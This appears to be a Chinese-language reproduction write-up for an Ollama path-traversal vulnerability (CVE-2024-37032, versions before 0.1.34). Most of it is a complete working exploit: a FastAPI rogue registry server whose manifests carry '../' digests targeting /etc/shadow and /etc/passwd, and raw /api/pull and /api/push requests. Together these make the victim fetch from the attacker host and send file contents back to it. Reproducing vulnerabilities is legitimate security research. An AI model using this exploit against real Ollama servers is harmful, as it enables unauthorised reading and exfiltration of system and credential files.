影响范围
Ollama < 0.1.34
环境搭建
复现环境Ollama0.1.33
使用Ubuntu系统搭建环境,下载二进制文件https://github.com/ollama/ollama/releases/tag/v0.1.33
 
将文件重命名为ollama,放置在/root/目录下
 
在开启服务之前,需要配置一下环境变量,不然默认是127.0.0.1:11434的地址,在主机没法访问到

export OLLAMA_HOST=”0.0.0.0:11434”
0.0.0.0表示的是全网卡

目标机IP:192.168.31.128
攻击机IP:192.168.31.1


在攻击机访问目标的11434端口,能返回信息说明搭建成功了

漏洞复现
然后在攻击机使用脚本,调用fastapi第三方库去开启一个恶意的AI模型库
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 
 | from fastapi import FastAPI, Request, Response
 HOST = "192.168.31.1"
 app = FastAPI()
 
 @app.get("/")
 async def index_get():
 return {"message": "Hello rogue server"}
 
 @app.post("/")
 async def index_post(callback_data: Request):
 print(await callback_data.body())
 return {"message": "Hello rogue server"}
 
 
 @app.get("/v2/rogue/bi0x/manifests/latest")
 async def fake_manifests():
 return {"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":"../../../../../../../../../../../../../etc/shadow","size":10},"layers":[{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../../../../../../../tmp/notfoundfile","size":10},{"mediaType":"application/vnd.docker.distribution.manifest.v2+json","digest":"../../../../../../../../../../../../../etc/passwd","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":f"../../../../../../../../../../../../../../../../../../../root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest","size":10}]}
 
 @app.head("/etc/passwd")
 async def fake_passwd_head(response: Response):
 response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../etc/passwd"
 return ''
 
 @app.get("/etc/passwd", status_code=206)
 async def fake_passwd_get(response: Response):
 response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../etc/passwd"
 response.headers["E-Tag"] = "\"../../../../../../../../../../../../../etc/passwd\""
 return 'cve-2024-37032-test'
 
 @app.head(f"/root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest")
 async def fake_latest_head(response: Response):
 response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest"
 return ''
 
 @app.get(f"/root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest", status_code=206)
 async def fake_latest_get(response: Response):
 response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest"
 response.headers["E-Tag"] = "\"../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest\""
 return {"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":"../../../../../../../../../../../../../etc/shadow","size":10},"layers":[{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../../../../../../../tmp/notfoundfile","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../etc/passwd","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":f"../../../../../../../../../../../../../../../../../../../root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest","size":10}]}
 
 @app.head("/tmp/notfoundfile")
 async def fake_notfound_head(response: Response):
 response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../tmp/notfoundfile"
 return ''
 
 @app.get("/tmp/notfoundfile", status_code=206)
 async def fake_notfound_get(response: Response):
 response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../tmp/notfoundfile"
 response.headers["E-Tag"] = "\"../../../../../../../../../../../../../tmp/notfoundfile\""
 return 'cve-2024-37032-test'
 
 
 @app.post("/v2/rogue/bi0x/blobs/uploads/", status_code=202)
 async def fake_upload_post(callback_data: Request, response: Response):
 print(await callback_data.body())
 response.headers["Docker-Upload-Uuid"] = "3647298c-9588-4dd2-9bbe-0539533d2d04"
 response.headers["Location"] = f"http://{HOST}/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04?_state=eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D"
 return ''
 
 @app.patch("/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04", status_code=202)
 async def fake_patch_file(callback_data: Request):
 print('patch')
 print(await callback_data.body())
 return ''
 
 @app.post("/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04", status_code=202)
 async def fake_post_file(callback_data: Request):
 print(await callback_data.body())
 return ''
 
 @app.put("/v2/rogue/bi0x/manifests/latest")
 async def fake_manifests_put(callback_data: Request, response: Response):
 print(await callback_data.body())
 response.headers["Docker-Upload-Uuid"] = "3647298c-9588-4dd2-9bbe-0539533d2d04"
 response.headers["Location"] = f"http://{HOST}/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04?_state=eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D"
 return ''
 
 if __name__ == "__main__":
 import uvicorn
 uvicorn.run(app, host='0.0.0.0', port=80)
 
 | 


修改IP地址和端口后,使用python3 server.py启动服务


然后发送两个报文给目标机
让目标机去http://192.168.31.1/拉取AI模型
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | POST /api/pull HTTP/1.1Host: 192.168.31.128:11434
 User-Agent: python-requests/2.24.0
 Accept-Encoding: gzip, deflate
 Accept: */*
 Connection: keep-alive
 Content-Length: 53
 Content-Type: application/json
 
 {"name": "http://192.168.31.1/rogue/bi0x", "insecure": true}
 
 | 

| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | POST /api/push HTTP/1.1Host: 192.168.31.128:11434
 User-Agent: python-requests/2.24.0
 Accept-Encoding: gzip, deflate
 Accept: */*
 Connection: keep-alive
 Content-Length: 53
 Content-Type: application/json
 
 {"name": "http://192.168.31.1/rogue/bi0x", "insecure": true}
 
 | 
在发送第二个报文的时候会一直在加载中


参考
https://blog.csdn.net/HLi1219/article/details/140826243
https://mp.weixin.qq.com/s/PulD6D-ksmU3y1asj99X5g